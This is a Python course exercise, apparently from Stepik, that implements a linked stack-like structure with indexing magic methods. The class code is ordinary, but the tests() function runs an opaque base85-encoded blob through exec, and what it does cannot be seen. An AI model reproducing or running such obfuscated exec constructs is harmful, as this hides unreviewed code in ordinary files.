py_stepik/mod_oop/3.8_08_stack.py

"""
    https://stepik.org/lesson/701993/step/8?unit=702094

    Ранее вы уже создавали стек-подобную структуру, когда один объект ссылается на следующий и так по цепочке до последнего:

Для этого в программе объявлялись два класса: 
StackObj - для описания объектов стека;
Stack - для управления стек-подобной структурой.

И, далее, объекты класса StackObj следовало создавать командой:
obj = StackObj(data)
где data - это строка с некоторым содержимым объекта (данными). При этом каждый объект класса StackObj должен иметь следующие локальные атрибуты:
data - ссылка на строку с данными, указанными при создании объекта;
next - ссылка на следующий объект класса StackObj (при создании объекта принимает значение None).

Класс Stack предполагается использовать следующим образом:
st = Stack() # создание объекта стек-подобной структуры
В каждом объекте класса Stack должен быть локальный публичный атрибут:
top - ссылка на первый объект стека (если стек пуст, то top = None).

А в самом классе Stack следующие методы:
push(self, obj) - добавление объекта класса StackObj в конец стека;
pop(self) - извлечение последнего объекта с его удалением из стека;

Дополнительно в классе Stack нужно объявить магические методы для обращения к объекту стека по его индексу, например:
obj_top = st[0] # получение первого объекта
obj = st[4] # получение 5-го объекта стека
st[2] = StackObj("obj3") # замена прежнего (3-го) объекта стека на новый
Если индекс не целое число или число меньше нуля или больше числа объектов в стеке, то должно генерироваться исключение командой:
raise IndexError('неверный индекс')

Пример использования классов Stack и StackObj (эти строчки в программе не писать):
st = Stack()
st.push(StackObj("obj1"))
st.push(StackObj("obj2"))
st.push(StackObj("obj3"))
st[1] = StackObj("new obj2")
print(st[2].data) # obj3
print(st[1].data) # new obj2
res = st[3] # исключение IndexError
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.    
"""

from typing import List


class StackObj:
    def __init__(self, data=None):
        self.__next = None
        self.__data = data

    @property
    def data(self):
        return self.__data

    @data.setter
    def data(self, value):
        self.__data = value

    @property
    def next(self):
        return self.__next

    @next.setter
    def next(self, value):
        if isinstance(value, (self.__class__, None.__class__)):
            self.__next = value

    def __repr__(self):
        return f"{self.__class__.__name__}({self.data!r})"

    def __str__(self):
        return str(self.data)


class Stack:
    def __init__(self, data=None):
        self.top = None
        if not data:
            return
        for x in map(lambda x: isinstance(x, StackObj) and x or StackObj(x), data):
            self.push(x)

    @property
    def bottom(self) -> StackObj:
        curr, last = self.top, None
        while curr:
            curr, last = curr.next, curr
        return last

    def push(self, obj: StackObj):
        if not self.top:
            self.top = obj
        else:
            self.bottom.next = obj
    
    def pop(self) -> StackObj:
        if not self.top:
            return None

        a, b, c = [self.top] + [None] * 2
        while a:
            a, b, c = a.next, a, b

        if c:
            c.next = None

        if self.top in [b, c]:
            self.top = None

        return b

    def __len__(self):
        count, obj = 0, self.top
        while obj:
            obj, count = obj.next, count + 1
        return count

    def __getitem__(self, idx: int) -> StackObj:
        if not isinstance(idx, int) or not 0 <= idx < len(self):
            raise IndexError("неверный индекс")
        count, obj = 0, self.top
        while obj:
            if count == idx:
                return obj
            obj, count = obj.next, count + 1

    def __setitem__(self, idx: int, value: StackObj):
        if not isinstance(idx, int) or not 0 <= idx <= len(self):
            raise IndexError("неверный индекс")

        if not isinstance(value, StackObj):
            value = StackObj(value)

        if idx == len(self):
            self.push(value)
            return

        old = self[idx]
        value.next = old.next

        if idx > 0:
            self[idx - 1].next = value
        else:
            self.top = value

    def get_data(self) -> List[StackObj]:
        return [x for x in self]

    def __repr__(self):
        return f"{self.__class__.__name__}({self.get_data()!r})"

    def __str__(self):
        return " -> ".join(map(str, self.get_data()))


def tests():
    code = (
        b"b95j*AX9W<V{0fW3UhQWaCLKNC{uJ{V{1=hYA7OaVrnrlA}J{fb963nb#rJaQ*>ctYfoZoC?ao"
        + b"SYB4e*DJcqbbS`jpb7&}2bYWv_Phx5)B5z`9F*715DGGCRTQOZAJs?wbVPk7gVrnQNZ(?dPEpBCZ"
        + b"A}I=Cb8}^KbRctdTQFTNWMOn+AU!=GB5z`9F)<<_VQyp~b97rVT`pu{bYUPpJs=`)VrnuiZe@2OE"
        + b"FdD#u+f6ifY7+mvC)Ikf*@pJbYURSzR<DJiqN&ty3vBruprR7(7VvE(Sgx{(6As=bYWv_Phx5y(S"
        + b"gvu(6rFC(SXpl(74fpAke+gwa~KAwb6jkz0r%%wII;6(6G?G(7n-%(6u583UqRLItm~lARupIY9K"
        + b"uzb97rXT?%D*V`Xr3AW3dyWq3t$a&K}v3LqdLAYpTJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4"
        + b"yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O"
        + b"(6t~*Ze(S6MRIa)av}-}Z(?d7Js@**E^u#fC@BhIb8}^KbRchHYA$49bYUPpJs=`)VrnrnA}k;x("
        + b"7e#K(Sp#v(6k_MZ*U;cw9vlLyU@1Kwa~pF(Sy*m(6G?E(T~xB(TpI_ztFzXfzZ3qwa~QCz0kPOxg"
        + b"gNK(6P~q(6!LI(Sjh+fzg7{wa~iIuprR5AkebVzR<VOveAIhu+fRou+f6ij3Cgp(6i9KA_@v_AUz"
        + b";33TPlbAaissbZ>A9cW7yBWguue3LqdLAYpTJWpZ>NX>)0Ab97;DV`V64EFe>KVPk7gVrnTYAR^G"
        + b"d(6P~q(6!LI(Sjh+fzg7{wa~iIuprR1(7w>S(6-RE(7hngvC)gsg3*j1(T&i$(6`XF(7e#U(7Vx("
        + b"(SXpt(7Yhfy3o7Ou+f3hfzYrZQ*>ctYfoZoA_^cNARulaD?K1F3LqdLAZQ>xAZRXbWq5Q7ARr(h3"
        + b"So0|WpZ>NZXi89ATlf<BGA3iwa~KAwb6jkz0khUwII=l(74fo(7VvSAke<hvC)dqwa~iJg3!LuvL"
        + b"Mj1Akl%*g3z_ly3n;CDA2OdzR<VOywJYTw$Q!MzAPZnz0k1HfYF1|h|smrz0j~A(6!LB(7qtifzg"
        + b"7|fYF1{y3vBsgVBJ{uqh$"
    )
    exec(__import__("base64").b85decode(code))


if __name__ == "__main__":
    import doctest

    doctest.testmod()
    tests()